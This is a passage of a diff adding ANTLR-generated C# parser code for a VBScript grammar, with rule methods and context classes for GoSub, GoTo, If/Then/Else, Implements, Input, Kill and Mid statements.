EnterRule(_localctx, 108, RULE_goSubStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1364; + Match(GOSUB); + State = 1365; + Match(WS); + State = 1366; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class GoToStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GOTO() { return GetToken(VBScriptParser.GOTO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public GoToStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_goToStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterGoToStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitGoToStmt(this); + } + } + + [RuleVersion(0)] + public GoToStmtContext goToStmt() { + GoToStmtContext _localctx = new GoToStmtContext(Context, State); + EnterRule(_localctx, 110, RULE_goToStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1368; + Match(GOTO); + State = 1369; + Match(WS); + State = 1370; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class IfThenElseStmtContext : ParserRuleContext { + public IfThenElseStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ifThenElseStmt; } } + + public IfThenElseStmtContext() { } + public virtual void CopyFrom(IfThenElseStmtContext context) { + base.CopyFrom(context); + } + } + public partial class BlockIfThenElseContext : IfThenElseStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public IfBlockStmtContext ifBlockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_IF() { return GetToken(VBScriptParser.END_IF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public IfElseIfBlockStmtContext[] ifElseIfBlockStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public IfElseIfBlockStmtContext ifElseIfBlockStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public IfElseBlockStmtContext ifElseBlockStmt() { + return GetRuleContext(0); + } + public BlockIfThenElseContext(IfThenElseStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterBlockIfThenElse(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitBlockIfThenElse(this); + } + } + + [RuleVersion(0)] + public IfThenElseStmtContext ifThenElseStmt() { + IfThenElseStmtContext _localctx = new IfThenElseStmtContext(Context, State); + EnterRule(_localctx, 112, RULE_ifThenElseStmt); + int _la; + try { + _localctx = new BlockIfThenElseContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 1372; + ifBlockStmt(); + State = 1376; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==ELSEIF) { + { + { + State = 1373; + ifElseIfBlockStmt(); + } + } + State = 1378; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 1380; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==ELSE) { + { + State = 1379; + ifElseBlockStmt(); + } + } + + State = 1382; + Match(END_IF); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class InlineIfThenElseStmtContext : ParserRuleContext { + public InlineIfThenElseStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_inlineIfThenElseStmt; } } + + public InlineIfThenElseStmtContext() { } + public virtual void CopyFrom(InlineIfThenElseStmtContext context) { + base.CopyFrom(context); + } + } + public partial class InlineIfThenElseContext : InlineIfThenElseStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public InlineIfBlockStmtContext inlineIfBlockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public InlineElseBlockStmtContext inlineElseBlockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_IF() { return GetToken(VBScriptParser.END_IF, 0); } + public InlineIfThenElseContext(InlineIfThenElseStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterInlineIfThenElse(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitInlineIfThenElse(this); + } + } + + [RuleVersion(0)] + public InlineIfThenElseStmtContext inlineIfThenElseStmt() { + InlineIfThenElseStmtContext _localctx = new InlineIfThenElseStmtContext(Context, State); + EnterRule(_localctx, 114, RULE_inlineIfThenElseStmt); + try { + int _alt; + _localctx = new InlineIfThenElseContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 1384; + inlineIfBlockStmt(); + State = 1386; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,183,Context) ) { + case 1: + { + State = 1385; + inlineElseBlockStmt(); + } + break; + } + { + State = 1391; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,184,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 1388; + Match(INLINE_SEP); + } + } + } + State = 1393; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,184,Context); + } + State = 1395; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,185,Context) ) { + case 1: + { + State = 1394; + Match(END_IF); + } + break; + } + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class InlineIfBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IF() { return GetToken(VBScriptParser.IF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public IfConditionStmtContext ifConditionStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode THEN() { return GetToken(VBScriptParser.THEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public InlineBlockContext inlineBlock() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public InlineIfBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_inlineIfBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterInlineIfBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitInlineIfBlockStmt(this); + } + } + + [RuleVersion(0)] + public InlineIfBlockStmtContext inlineIfBlockStmt() { + InlineIfBlockStmtContext _localctx = new InlineIfBlockStmtContext(Context, State); + EnterRule(_localctx, 116, RULE_inlineIfBlockStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1397; + Match(IF); + State = 1399; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,186,Context) ) { + case 1: + { + State = 1398; + Match(WS); + } + break; + } + State = 1401; + ifConditionStmt(); + State = 1403; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1402; + Match(WS); + } + } + + State = 1405; + Match(THEN); + State = 1407; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1406; + _la = TokenStream.LA(1); + if ( !(_la==INLINE_SEP || _la==WS) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1409; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,188,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1411; + inlineBlock(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class InlineElseBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ELSE() { return GetToken(VBScriptParser.ELSE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public InlineBlockContext inlineBlock() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public InlineElseBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_inlineElseBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterInlineElseBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitInlineElseBlockStmt(this); + } + } + + [RuleVersion(0)] + public InlineElseBlockStmtContext inlineElseBlockStmt() { + InlineElseBlockStmtContext _localctx = new InlineElseBlockStmtContext(Context, State); + EnterRule(_localctx, 118, RULE_inlineElseBlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1414; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==INLINE_SEP || _la==WS) { + { + State = 1413; + _la = TokenStream.LA(1); + if ( !(_la==INLINE_SEP || _la==WS) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + + State = 1416; + Match(ELSE); + State = 1417; + _la = TokenStream.LA(1); + if ( !(_la==INLINE_SEP || _la==WS) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1418; + inlineBlock(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class IfBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IF() { return GetToken(VBScriptParser.IF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public IfConditionStmtContext ifConditionStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode THEN() { return GetToken(VBScriptParser.THEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + public IfBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ifBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterIfBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitIfBlockStmt(this); + } + } + + [RuleVersion(0)] + public IfBlockStmtContext ifBlockStmt() { + IfBlockStmtContext _localctx = new IfBlockStmtContext(Context, State); + EnterRule(_localctx, 120, RULE_ifBlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1420; + Match(IF); + State = 1422; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,190,Context) ) { + case 1: + { + State = 1421; + Match(WS); + } + break; + } + State = 1424; + ifConditionStmt(); + State = 1426; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1425; + Match(WS); + } + } + + State = 1428; + Match(THEN); + State = 1430; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1429; + Match(NEWLINE); + } + } + State = 1432; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 1440; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,194,Context) ) { + case 1: + { + State = 1434; + block(); + State = 1436; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1435; + Match(NEWLINE); + } + } + State = 1438; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class IfConditionStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public IfConditionStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ifConditionStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterIfConditionStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitIfConditionStmt(this); + } + } + + [RuleVersion(0)] + public IfConditionStmtContext ifConditionStmt() { + IfConditionStmtContext _localctx = new IfConditionStmtContext(Context, State); + EnterRule(_localctx, 122, RULE_ifConditionStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1442; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class IfElseIfBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ELSEIF() { return GetToken(VBScriptParser.ELSEIF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public IfConditionStmtContext ifConditionStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode THEN() { return GetToken(VBScriptParser.THEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public IfElseIfBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ifElseIfBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterIfElseIfBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitIfElseIfBlockStmt(this); + } + } + + [RuleVersion(0)] + public IfElseIfBlockStmtContext ifElseIfBlockStmt() { + IfElseIfBlockStmtContext _localctx = new IfElseIfBlockStmtContext(Context, State); + EnterRule(_localctx, 124, RULE_ifElseIfBlockStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1444; + Match(ELSEIF); + State = 1445; + Match(WS); + State = 1446; + ifConditionStmt(); + State = 1447; + Match(WS); + State = 1448; + Match(THEN); + State = 1450; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1449; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1452; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,195,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1460; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,197,Context) ) { + case 1: + { + State = 1454; + block(); + State = 1456; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1455; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1458; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class IfElseBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ELSE() { return GetToken(VBScriptParser.ELSE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public IfElseBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ifElseBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterIfElseBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitIfElseBlockStmt(this); + } + } + + [RuleVersion(0)] + public IfElseBlockStmtContext ifElseBlockStmt() { + IfElseBlockStmtContext _localctx = new IfElseBlockStmtContext(Context, State); + EnterRule(_localctx, 126, RULE_ifElseBlockStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1462; + Match(ELSE); + State = 1464; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1463; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1466; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,198,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1474; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -270216225676591105L) != 0) || ((((_la - 131)) & ~0x3f) == 0 && ((1L << (_la - 131)) & 361413870062927807L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 1468; + block(); + State = 1470; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1469; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1472; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ImplementsStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IMPLEMENTS() { return GetToken(VBScriptParser.IMPLEMENTS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + public ImplementsStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_implementsStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterImplementsStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitImplementsStmt(this); + } + } + + [RuleVersion(0)] + public ImplementsStmtContext implementsStmt() { + ImplementsStmtContext _localctx = new ImplementsStmtContext(Context, State); + EnterRule(_localctx, 128, RULE_implementsStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1476; + Match(IMPLEMENTS); + State = 1477; + Match(WS); + State = 1478; + ambiguousIdentifier(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class InputStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INPUT() { return GetToken(VBScriptParser.INPUT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public InputStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_inputStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterInputStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitInputStmt(this); + } + } + + [RuleVersion(0)] + public InputStmtContext inputStmt() { + InputStmtContext _localctx = new InputStmtContext(Context, State); + EnterRule(_localctx, 130, RULE_inputStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1480; + Match(INPUT); + State = 1481; + Match(WS); + State = 1482; + valueStmt(0); + State = 1491; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1484; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1483; + Match(WS); + } + } + + State = 1486; + Match(COMMA); + State = 1488; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,202,Context) ) { + case 1: + { + State = 1487; + Match(WS); + } + break; + } + State = 1490; + valueStmt(0); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1493; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,203,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class KillStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode KILL() { return GetToken(VBScriptParser.KILL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public KillStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_killStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterKillStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitKillStmt(this); + } + } + + [RuleVersion(0)] + public KillStmtContext killStmt() { + KillStmtContext _localctx = new KillStmtContext(Context, State); + EnterRule(_localctx, 132, RULE_killStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1495; + Match(KILL); + State = 1496; + Match(WS); + State = 1497; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MidStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MID() { return GetToken(VBScriptParser.MID, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] 